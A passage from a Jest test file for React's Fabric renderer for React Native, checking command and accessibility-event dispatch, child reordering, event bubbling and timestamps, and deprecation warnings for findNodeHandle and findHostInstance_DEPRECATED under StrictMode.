expect(nativeFabricUIManager.dispatchCommand).toHaveBeenCalledTimes(1);\n    expect(nativeFabricUIManager.dispatchCommand).toHaveBeenCalledWith(\n      expect.any(Object),\n      'updateCommand',\n      [10, 20],\n    );\n  });\n\n  it('should warn and no-op if calling dispatchCommand on non native refs', async () => {\n    class BasicClass extends React.Component {\n      render() {\n        return <React.Fragment />;\n      }\n    }\n\n    nativeFabricUIManager.dispatchCommand.mockReset();\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <BasicClass\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();\n    ReactFabric.dispatchCommand(viewRef, 'updateCommand', [10, 20]);\n    assertConsoleErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT]);\n\n    expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();\n  });\n\n  it('should call sendAccessibilityEvent for native refs', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    nativeFabricUIManager.sendAccessibilityEvent.mockClear();\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <View\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n    ReactFabric.sendAccessibilityEvent(viewRef, 'focus');\n    expect(nativeFabricUIManager.sendAccessibilityEvent).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(nativeFabricUIManager.sendAccessibilityEvent).toHaveBeenCalledWith(\n      expect.any(Object),\n      'focus',\n    );\n  });\n\n  it('should warn and no-op if calling sendAccessibilityEvent on non native refs', async () => {\n    class BasicClass extends React.Component {\n      render() {\n        return <React.Fragment />;\n      }\n    }\n\n    nativeFabricUIManager.sendAccessibilityEvent.mockReset();\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <BasicClass\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n    ReactFabric.sendAccessibilityEvent(viewRef, 'eventTypeName');\n    assertConsoleErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT]);\n\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n  });\n\n  it('calls the callback with the correct instance and returns null', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let a;\n    let b;\n    let c;\n    await act(() => {\n      c = ReactFabric.render(\n        <View foo=\"foo\" ref={v => (a = v)} />,\n        11,\n        function () {\n          b = this;\n        },\n        true,\n      );\n    });\n\n    expect(a).toBeTruthy();\n    expect(a).toBe(b);\n    expect(c).toBe(null);\n  });\n\n  // @gate !disableLegacyMode\n  it('returns the instance in legacy mode and calls the callback with it', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let a;\n    let b;\n    const c = ReactFabric.render(\n      <View\n        foo=\"foo\"\n        ref={v => {\n          a = v;\n        }}\n      />,\n      11,\n      function () {\n        b = this;\n      },\n    );\n\n    expect(a).toBeTruthy();\n    expect(a).toBe(b);\n    expect(a).toBe(c);\n  });\n\n  it('renders and reorders children', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    class Component extends React.Component {\n      render() {\n        const chars = this.props.chars.split('');\n        return (\n          <View>\n            {chars.map(text => (\n              <View key={text} title={text} />\n            ))}\n          </View>\n        );\n      }\n    }\n\n    // Mini multi-child stress test: lots of reorders, some adds, some removes.\n    const before = 'abcdefghijklmnopqrst';\n    const after = 'mxhpgwfralkeoivcstzy';\n\n    await act(() => {\n      ReactFabric.render(<Component chars={before} />, 11, null, true);\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11\n RCTView {}\n   RCTView {\"title\":\"a\"}\n   RCTView {\"title\":\"b\"}\n   RCTView {\"title\":\"c\"}\n   RCTView {\"title\":\"d\"}\n   RCTView {\"title\":\"e\"}\n   RCTView {\"title\":\"f\"}\n   RCTView {\"title\":\"g\"}\n   RCTView {\"title\":\"h\"}\n   RCTView {\"title\":\"i\"}\n   RCTView {\"title\":\"j\"}\n   RCTView {\"title\":\"k\"}\n   RCTView {\"title\":\"l\"}\n   RCTView {\"title\":\"m\"}\n   RCTView {\"title\":\"n\"}\n   RCTView {\"title\":\"o\"}\n   RCTView {\"title\":\"p\"}\n   RCTView {\"title\":\"q\"}\n   RCTView {\"title\":\"r\"}\n   RCTView {\"title\":\"s\"}\n   RCTView {\"title\":\"t\"}`);\n\n    await act(() => {\n      ReactFabric.render(<Component chars={after} />, 11, null, true);\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11\n RCTView {}\n   RCTView {\"title\":\"m\"}\n   RCTView {\"title\":\"x\"}\n   RCTView {\"title\":\"h\"}\n   RCTView {\"title\":\"p\"}\n   RCTView {\"title\":\"g\"}\n   RCTView {\"title\":\"w\"}\n   RCTView {\"title\":\"f\"}\n   RCTView {\"title\":\"r\"}\n   RCTView {\"title\":\"a\"}\n   RCTView {\"title\":\"l\"}\n   RCTView {\"title\":\"k\"}\n   RCTView {\"title\":\"e\"}\n   RCTView {\"title\":\"o\"}\n   RCTView {\"title\":\"i\"}\n   RCTView {\"title\":\"v\"}\n   RCTView {\"title\":\"c\"}\n   RCTView {\"title\":\"s\"}\n   RCTView {\"title\":\"t\"}\n   RCTView {\"title\":\"z\"}\n   RCTView {\"title\":\"y\"}`);\n  });\n\n  it('recreates host parents even if only children changed', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const before = 'abcdefghijklmnopqrst';\n    const after = 'mxhpgwfralkeoivcstzy';\n\n    class Component extends React.Component {\n      state = {\n        chars: before,\n      };\n      render() {\n        const chars = this.state.chars.split('');\n        return (\n          <View>\n            {chars.map(text => (\n              <View key={text} title={text} />\n            ))}\n          </View>\n        );\n      }\n    }\n\n    const ref = React.createRef();\n    // Wrap in a host node.\n    await act(() => {\n      ReactFabric.render(\n        <View>\n          <Component ref={ref} />\n        </View>,\n        11,\n        null,\n        true,\n      );\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(\n      `11\n RCTView {}\n   RCTView {}\n     RCTView {\"title\":\"a\"}\n     RCTView {\"title\":\"b\"}\n     RCTView {\"title\":\"c\"}\n     RCTView {\"title\":\"d\"}\n     RCTView {\"title\":\"e\"}\n     RCTView {\"title\":\"f\"}\n     RCTView {\"title\":\"g\"}\n     RCTView {\"title\":\"h\"}\n     RCTView {\"title\":\"i\"}\n     RCTView {\"title\":\"j\"}\n     RCTView {\"title\":\"k\"}\n     RCTView {\"title\":\"l\"}\n     RCTView {\"title\":\"m\"}\n     RCTView {\"title\":\"n\"}\n     RCTView {\"title\":\"o\"}\n     RCTView {\"title\":\"p\"}\n     RCTView {\"title\":\"q\"}\n     RCTView {\"title\":\"r\"}\n     RCTView {\"title\":\"s\"}\n     RCTView {\"title\":\"t\"}`,\n    );\n\n    // Call setState() so that we skip over the top-level host node.\n    // It should still get recreated despite a bailout.\n    await act(() => {\n      ref.current.setState({\n        chars: after,\n      });\n    });\n    expect(nativeFabricUIManager.__dumpHierarchyForJestTestsOnly()).toBe(`11\n RCTView {}\n   RCTView {}\n     RCTView {\"title\":\"m\"}\n     RCTView {\"title\":\"x\"}\n     RCTView {\"title\":\"h\"}\n     RCTView {\"title\":\"p\"}\n     RCTView {\"title\":\"g\"}\n     RCTView {\"title\":\"w\"}\n     RCTView {\"title\":\"f\"}\n     RCTView {\"title\":\"r\"}\n     RCTView {\"title\":\"a\"}\n     RCTView {\"title\":\"l\"}\n     RCTView {\"title\":\"k\"}\n     RCTView {\"title\":\"e\"}\n     RCTView {\"title\":\"o\"}\n     RCTView {\"title\":\"i\"}\n     RCTView {\"title\":\"v\"}\n     RCTView {\"title\":\"c\"}\n     RCTView {\"title\":\"s\"}\n     RCTView {\"title\":\"t\"}\n     RCTView {\"title\":\"z\"}\n     RCTView {\"title\":\"y\"}`);\n  });\n\n  it('calls setState with no arguments', async () => {\n    let mockArgs;\n    class Component extends React.Component {\n      componentDidMount() {\n        this.setState({}, (...args) => (mockArgs = args));\n      }\n      render() {\n        return false;\n      }\n    }\n\n    await act(() => {\n      ReactFabric.render(<Component />, 11, null, true);\n    });\n    expect(mockArgs.length).toEqual(0);\n  });\n\n  it('should call complete after inserting children', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const snapshots = [];\n    nativeFabricUIManager.completeRoot.mockImplementation(\n      function (rootTag, newChildSet) {\n        snapshots.push(\n          nativeFabricUIManager.__dumpChildSetForJestTestsOnly(newChildSet),\n        );\n      },\n    );\n\n    await act(() => {\n      ReactFabric.render(\n        <View foo=\"a\">\n          <View foo=\"b\" />\n        </View>,\n        22,\n        null,\n        true,\n      );\n    });\n    expect(snapshots).toEqual([\n      `RCTView {\"foo\":\"a\"}\n  RCTView {\"foo\":\"b\"}`,\n    ]);\n  });\n\n  it('should not throw when <View> is used inside of a <Text> ancestor', async () => {\n    const Image = createReactNativeComponentClass('RCTImage', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTImage',\n    }));\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTView',\n    }));\n\n    await act(() => {\n      ReactFabric.render(\n        <Text>\n          <View />\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n\n    await act(() => {\n      ReactFabric.render(\n        <Text>\n          <Image />\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n  });\n\n  it('should console error for text not inside of a <Text> ancestor', async () => {\n    const ScrollView = createReactNativeComponentClass('RCTScrollView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTScrollView',\n    }));\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTView',\n    }));\n\n    await act(() => {\n      ReactFabric.render(<View>this should warn</View>, 11, null, true);\n    });\n    assertConsoleErrorDev([\n      'Text strings must be rendered within a <Text> component.\\n' +\n        '    in RCTView (at **)',\n    ]);\n\n    await act(() => {\n      ReactFabric.render(\n        <Text>\n          <ScrollView>hi hello hi</ScrollView>\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n    assertConsoleErrorDev([\n      'Text strings must be rendered within a <Text> component.\\n' +\n        '    in RCTScrollView (at **)',\n    ]);\n  });\n\n  it('should not throw for text inside of an indirect <Text> ancestor', async () => {\n    const Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n\n    const Indirection = () => 'Hi';\n\n    await act(() => {\n      ReactFabric.render(\n        <Text>\n          <Indirection />\n        </Text>,\n        11,\n        null,\n        true,\n      );\n    });\n  });\n\n  it('dispatches events to the last committed props', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTView',\n      directEventTypes: {\n        topTouchStart: {\n          registrationName: 'onTouchStart',\n        },\n      },\n    }));\n\n    const touchStart = jest.fn();\n    const touchStart2 = jest.fn();\n\n    await act(() => {\n      ReactFabric.render(<View onTouchStart={touchStart} />, 11, null, true);\n    });\n\n    expect(nativeFabricUIManager.createNode.mock.calls.length).toBe(1);\n    expect(nativeFabricUIManager.registerEventHandler.mock.calls.length).toBe(\n      1,\n    );\n\n    const [, , , , instanceHandle] =\n      nativeFabricUIManager.createNode.mock.calls[0];\n    const [dispatchEvent] =\n      nativeFabricUIManager.registerEventHandler.mock.calls[0];\n\n    const touchEvent = {\n      touches: [],\n      changedTouches: [],\n    };\n\n    expect(touchStart).not.toBeCalled();\n\n    dispatchEvent(instanceHandle, 'topTouchStart', touchEvent);\n\n    expect(touchStart).toBeCalled();\n    expect(touchStart2).not.toBeCalled();\n\n    await act(() => {\n      ReactFabric.render(<View onTouchStart={touchStart2} />, 11, null, true);\n    });\n\n    // Intentionally dispatch to the same instanceHandle again.\n    dispatchEvent(instanceHandle, 'topTouchStart', touchEvent);\n\n    // The current semantics dictate that we always dispatch to the last committed\n    // props even though the actual scheduling of the event could have happened earlier.\n    // This could change in the future.\n    expect(touchStart2).toBeCalled();\n  });\n\n  describe('skipBubbling', () => {\n    it('should skip bubbling to ancestor if specified', async () => {\n      const View = createReactNativeComponentClass('RCTView', () => ({\n        validAttributes: {},\n        uiViewClassName: 'RCTView',\n        bubblingEventTypes: {\n          topDefaultBubblingEvent: {\n            phasedRegistrationNames: {\n              captured: 'onDefaultBubblingEventCapture',\n              bubbled: 'onDefaultBubblingEvent',\n            },\n          },\n          topBubblingEvent: {\n            phasedRegistrationNames: {\n              captured: 'onBubblingEventCapture',\n              bubbled: 'onBubblingEvent',\n              skipBubbling: false,\n            },\n          },\n          topSkipBubblingEvent: {\n            phasedRegistrationNames: {\n              captured: 'onSkippedBubblingEventCapture',\n              bubbled: 'onSkippedBubblingEvent',\n              skipBubbling: true,\n            },\n          },\n        },\n      }));\n      const ancestorBubble = jest.fn();\n      const ancestorCapture = jest.fn();\n      const targetBubble = jest.fn();\n      const targetCapture = jest.fn();\n\n      const event = {};\n\n      await act(() => {\n        ReactFabric.render(\n          <View\n            onSkippedBubblingEventCapture={ancestorCapture}\n            onDefaultBubblingEventCapture={ancestorCapture}\n            onBubblingEventCapture={ancestorCapture}\n            onSkippedBubblingEvent={ancestorBubble}\n            onDefaultBubblingEvent={ancestorBubble}\n            onBubblingEvent={ancestorBubble}>\n            <View\n              onSkippedBubblingEventCapture={targetCapture}\n              onDefaultBubblingEventCapture={targetCapture}\n              onBubblingEventCapture={targetCapture}\n              onSkippedBubblingEvent={targetBubble}\n              onDefaultBubblingEvent={targetBubble}\n              onBubblingEvent={targetBubble}\n            />\n          </View>,\n          11,\n          null,\n          true,\n        );\n      });\n\n      expect(nativeFabricUIManager.createNode.mock.calls.length).toBe(2);\n      expect(nativeFabricUIManager.registerEventHandler.mock.calls.length).toBe(\n        1,\n      );\n      const [, , , , childInstance] =\n        nativeFabricUIManager.createNode.mock.calls[0];\n      const [dispatchEvent] =\n        nativeFabricUIManager.registerEventHandler.mock.calls[0];\n\n      dispatchEvent(childInstance, 'topDefaultBubblingEvent', event);\n      expect(targetBubble).toHaveBeenCalledTimes(1);\n      expect(targetCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorBubble).toHaveBeenCalledTimes(1);\n      ancestorBubble.mockReset();\n      ancestorCapture.mockReset();\n      targetBubble.mockReset();\n      targetCapture.mockReset();\n\n      dispatchEvent(childInstance, 'topBubblingEvent', event);\n      expect(targetBubble).toHaveBeenCalledTimes(1);\n      expect(targetCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorBubble).toHaveBeenCalledTimes(1);\n      ancestorBubble.mockReset();\n      ancestorCapture.mockReset();\n      targetBubble.mockReset();\n      targetCapture.mockReset();\n\n      dispatchEvent(childInstance, 'topSkipBubblingEvent', event);\n      expect(targetBubble).toHaveBeenCalledTimes(1);\n      expect(targetCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorCapture).toHaveBeenCalledTimes(1);\n      expect(ancestorBubble).not.toBeCalled();\n    });\n  });\n\n  it('dispatches event with target as instance', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {\n        id: true,\n      },\n      uiViewClassName: 'RCTView',\n      directEventTypes: {\n        topTouchStart: {\n          registrationName: 'onTouchStart',\n        },\n        topTouchEnd: {\n          registrationName: 'onTouchEnd',\n        },\n      },\n    }));\n\n    function getViewById(id) {\n      const [reactTag, , , , instanceHandle] =\n        nativeFabricUIManager.createNode.mock.calls.find(\n          args => args[3] && args[3].id === id,\n        );\n\n      return {reactTag, instanceHandle};\n    }\n\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n\n    await act(() => {\n      ReactFabric.render(\n        <View id=\"parent\">\n          <View\n            ref={ref1}\n            id=\"one\"\n            onResponderStart={event => {\n              expect(ref1.current).not.toBeNull();\n              // Check for referential equality\n              expect(ref1.current).toBe(event.target);\n              expect(ref1.current).toBe(event.currentTarget);\n\n              expect(global.event).toBe(event);\n            }}\n            onStartShouldSetResponder={() => true}\n          />\n          <View\n            ref={ref2}\n            id=\"two\"\n            onResponderStart={event => {\n              expect(ref2.current).not.toBeNull();\n              // Check for referential equality\n              expect(ref2.current).toBe(event.target);\n              expect(ref2.current).toBe(event.currentTarget);\n\n              expect(global.event).toBe(event);\n            }}\n            onStartShouldSetResponder={() => true}\n          />\n        </View>,\n        1,\n        null,\n        true,\n      );\n    });\n\n    const [dispatchEvent] =\n      nativeFabricUIManager.registerEventHandler.mock.calls[0];\n\n    const preexistingEvent = {};\n    global.event = preexistingEvent;\n\n    dispatchEvent(getViewById('one').instanceHandle, 'topTouchStart', {\n      target: getViewById('one').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n    });\n    dispatchEvent(getViewById('one').instanceHandle, 'topTouchEnd', {\n      target: getViewById('one').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n    });\n\n    dispatchEvent(getViewById('two').instanceHandle, 'topTouchStart', {\n      target: getViewById('two').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n    });\n\n    dispatchEvent(getViewById('two').instanceHandle, 'topTouchEnd', {\n      target: getViewById('two').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n    });\n\n    expect(global.event).toBe(preexistingEvent);\n\n    expect.assertions(9);\n  });\n\n  it('propagates timeStamps from native events and sets defaults', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {\n        id: true,\n      },\n      uiViewClassName: 'RCTView',\n      directEventTypes: {\n        topTouchStart: {\n          registrationName: 'onTouchStart',\n        },\n        topTouchEnd: {\n          registrationName: 'onTouchEnd',\n        },\n      },\n    }));\n\n    function getViewById(id) {\n      const [reactTag, , , , instanceHandle] =\n        nativeFabricUIManager.createNode.mock.calls.find(\n          args => args[3] && args[3].id === id,\n        );\n\n      return {reactTag, instanceHandle};\n    }\n\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n\n    const explicitTimeStampCamelCase = 'explicit-timestamp-camelcase';\n    const explicitTimeStampLowerCase = 'explicit-timestamp-lowercase';\n    const performanceNowValue = 'performance-now-timestamp';\n\n    jest.spyOn(performance, 'now').mockReturnValue(performanceNowValue);\n\n    await act(() => {\n      ReactFabric.render(\n        <>\n          <View\n            ref={ref1}\n            id=\"default\"\n            onTouchEnd={event => {\n              expect(event.timeStamp).toBe(performanceNowValue);\n            }}\n          />\n          <View\n            ref={ref2}\n            id=\"explicitTimeStampCamelCase\"\n            onTouchEnd={event => {\n              expect(event.timeStamp).toBe(explicitTimeStampCamelCase);\n            }}\n          />\n          <View\n            ref={ref2}\n            id=\"explicitTimeStampLowerCase\"\n            onTouchEnd={event => {\n              expect(event.timeStamp).toBe(explicitTimeStampLowerCase);\n            }}\n          />\n        </>,\n        1,\n        null,\n        true,\n      );\n    });\n\n    const [dispatchEvent] =\n      nativeFabricUIManager.registerEventHandler.mock.calls[0];\n\n    dispatchEvent(getViewById('default').instanceHandle, 'topTouchStart', {\n      target: getViewById('default').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n    });\n    dispatchEvent(getViewById('default').instanceHandle, 'topTouchEnd', {\n      target: getViewById('default').reactTag,\n      identifier: 17,\n      touches: [],\n      changedTouches: [],\n      // No timeStamp property\n    });\n\n    dispatchEvent(\n      getViewById('explicitTimeStampCamelCase').instanceHandle,\n      'topTouchStart',\n      {\n        target: getViewById('explicitTimeStampCamelCase').reactTag,\n        identifier: 17,\n        touches: [],\n        changedTouches: [],\n      },\n    );\n\n    dispatchEvent(\n      getViewById('explicitTimeStampCamelCase').instanceHandle,\n      'topTouchEnd',\n      {\n        target: getViewById('explicitTimeStampCamelCase').reactTag,\n        identifier: 17,\n        touches: [],\n        changedTouches: [],\n        timeStamp: explicitTimeStampCamelCase,\n      },\n    );\n\n    dispatchEvent(\n      getViewById('explicitTimeStampLowerCase').instanceHandle,\n      'topTouchStart',\n      {\n        target: getViewById('explicitTimeStampLowerCase').reactTag,\n        identifier: 17,\n        touches: [],\n        changedTouches: [],\n      },\n    );\n\n    dispatchEvent(\n      getViewById('explicitTimeStampLowerCase').instanceHandle,\n      'topTouchEnd',\n      {\n        target: getViewById('explicitTimeStampLowerCase').reactTag,\n        identifier: 17,\n        touches: [],\n        changedTouches: [],\n        timestamp: explicitTimeStampLowerCase,\n      },\n    );\n\n    expect.assertions(3);\n  });\n\n  it('findHostInstance_DEPRECATED should warn if used to find a host component inside StrictMode', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class ContainsStrictModeChild extends React.Component {\n      render() {\n        return (\n          <StrictMode>\n            <View ref={n => (child = n)} />\n          </StrictMode>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactFabric.render(\n        <ContainsStrictModeChild ref={n => (parent = n)} />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    const match = ReactFabric.findHostInstance_DEPRECATED(parent);\n    assertConsoleErrorDev([\n      'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +\n        'findHostInstance_DEPRECATED was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in ContainsStrictModeChild (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n\n  it('findHostInstance_DEPRECATED should warn if passed a component that is inside StrictMode', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class IsInStrictMode extends React.Component {\n      render() {\n        return <View ref={n => (child = n)} />;\n      }\n    }\n\n    await act(() => {\n      ReactFabric.render(\n        <StrictMode>\n          <IsInStrictMode ref={n => (parent = n)} />\n        </StrictMode>,\n        11,\n        null,\n        true,\n      );\n    });\n\n    const match = ReactFabric.findHostInstance_DEPRECATED(parent);\n    assertConsoleErrorDev([\n      'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +\n        'findHostInstance_DEPRECATED was passed an instance of IsInStrictMode which is inside StrictMode. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in IsInStrictMode (at **)',\n    ]);\n    expect(match).toBe(child);\n  });\n\n  it('findNodeHandle should warn if used to find a host component inside StrictMode', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class ContainsStrictModeChild extends React.Component {\n      render() {\n        return (\n          <StrictMode>\n            <View ref={n => (child = n)} />\n          </StrictMode>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactFabric.render(\n        <ContainsStrictModeChild ref={n => (parent = n)} />,\n        11,\n        null,\n        true,\n      );\n    });\n\n    const match = ReactFabric.findNodeHandle(parent);\n    assertConsoleErrorDev([\n      'findNodeHandle is deprecated in StrictMode. ' +\n        'findNodeHandle was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in ContainsStrictModeChild (at **)',\n    ]);\n    expect(match).toBe(\n      ReactNativePrivateInterface.getNativeTagFromPublicInstance(child),\n    );\n  });\n\n  it('findNodeHandle should warn if passed a component that is inside StrictMode', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let parent = undefined;\n    let child = undefined;\n\n    class IsInStrictMode extends React.Component {\n      render() {\n        return <View ref={n => (child = n)} />;\n      }\n    }\n\n    await act(() => {\n      ReactFabric.render(\n        <StrictMode>\n          <IsInStrictMode ref={n => (parent = n)} />\n        </StrictMode>,\n        11,\n        null,\n        true,\n      );\n    });\n\n    const match = ReactFabric.findNodeHandle(parent);\n    assertConsoleErrorDev([\n      'findNodeHandle is deprecated in StrictMode. ' +\n        'findNodeHandle was passed an instance of IsInStrictMode which is inside StrictMode. ' +\n        'Instead, add a ref directly to the element you want to reference. ' +\n        'Learn more about using refs safely here: ' +\n        'https://react.dev/link/strict-mode-find-node' +\n        '\\n    in RCTView (at **)' +\n        '\\n    in IsInStrictMode (at **)',\n    ]);\n    expect(match).toBe(\n      ReactNativePrivateInterface.getNativeTagFromPublicInstance(child),\n    );\n  });\n\n  it('findNodeHandle errors when called from render', async () => {\n    class TestComponent extends React.Component {\n      render() {\n        ReactFabric.findNodeHandle(this);\n        return null;\n      }\n    }\n    await act(() => {\n      ReactFabric.render(<TestComponent />, 11, null, true);\n    });\n    assertConsoleErrorDev([\n      'TestComponent is accessing findNodeHandle inside its render(). ' +\n        'render() should be a pure function of props and state. It should ' +\n        'never access something that requires stale data from the previous ' +\n        'render, such as refs. Move this logic to componentDidMount and ' +\n        'componentDidUpdate instead.\\n' +\n        '    in TestComponent (at **)',\n    ]);\n  });\n\n  it(\"findNodeHandle doesn't error when called outside render\", async () => {\n    class TestComponent extends React.Component {\n      render() {\n        return null;\n      }\n      componentDidMount() {\n        ReactFabric.findNodeHandle(this);\n      }\n    }\n    await act(() => {\n      ReactFabric.render(<TestComponent />, 11, null, true);\n    });\n  });\n\n  it('should no-op if calling sendAccessibilityEvent on unmounted refs', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    nativeFabricUIManager.sendAccessibilityEvent.mockReset();\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <View\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        11,\n        null,\n        true,\n      );\n    });\n    const dangerouslyRetainedViewRef = viewRef;\n    await act(() => {\n      ReactFabric.stopSurface(11);\n    });\n\n    ReactFabric.sendAccessibilityEvent(\n      dangerouslyRetainedViewRef,\n      'eventTypeName',\n    );\n\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n  });\n\n  it('getNodeFromInternalInstanceHandle should return the correct shadow node', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    await act(() => {\n      ReactFabric.render(<View foo=\"test\" />, 1, null, true);\n    });\n\n    const internalInstanceHandle =\n      nativeFabricUIManager.createNode.mock.calls[0][4];\n    expect(internalInstanceHandle).toEqual(expect.any(Object));\n\n    const expectedShadowNode =\n      nativeFabricUIManager.createNode.mock.results[0].value;\n    expect(expectedShadowNode).toEqual(expect.any(Object));\n\n    const node = ReactFabric.getNodeFromInternalInstanceHandle(\n      internalInstanceHandle,\n    );\n    expect(node).toBe(expectedShadowNode);\n  });\n\n  it('getPublicInstanceFromInternalInstanceHandle should provide public instances for HostComponent', async () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {foo: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    let viewRef;\n    await act(() => {\n      ReactFabric.render(\n        <View\n          foo=\"test\"\n          ref={ref => {\n            viewRef = ref;\n          }}\n        />,\n        1,\n        null,\n        true,\n      );\n    });\n\n    const internalInstanceHandle =\n      nativeFabricUIManager.createNode.mock.calls[0][4];\n    expect(internalInstanceHandle).toEqual(expect.any(Object));\n\n    const publicInstance =\n      ReactFabric.getPublicInstanceFromInternalInstanceHandle(\n        internalInstanceHandle,\n      );\n    expect(publicInstance).toBe(viewRef);\n\n    await act(() => {\n      ReactFabric.render(null, 1, null, true);\n    });\n\n    const publicInstanceAfterUnmount =\n      ReactFabric.getPublicInstanceFromInternalInstanceHandle(\n        internalInstanceHandle,\n      );\n    expect(publicInstanceAfterUnmount).toBe(null);\n  });\n\n  it('getPublicInstanceFromInternalInstanceHandle should provide public instances for HostText', async () => {\n    jest.spyOn(ReactNativePrivateInterface, 'createPublicTextInstance');\n\n    const RCTText = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {},\n      uiViewClassName: 'RCTText',\n    }));\n\n    await act(() => {\n      ReactFabric.render(<RCTText>Text content</RCTText>, 1, null, true);\n    });\n\n    // Access the internal instance handle used to create the text node.\n    const internalInstanceHandle =\n      nativeFabricUIManager.createNode.mock.calls[0][4];\n    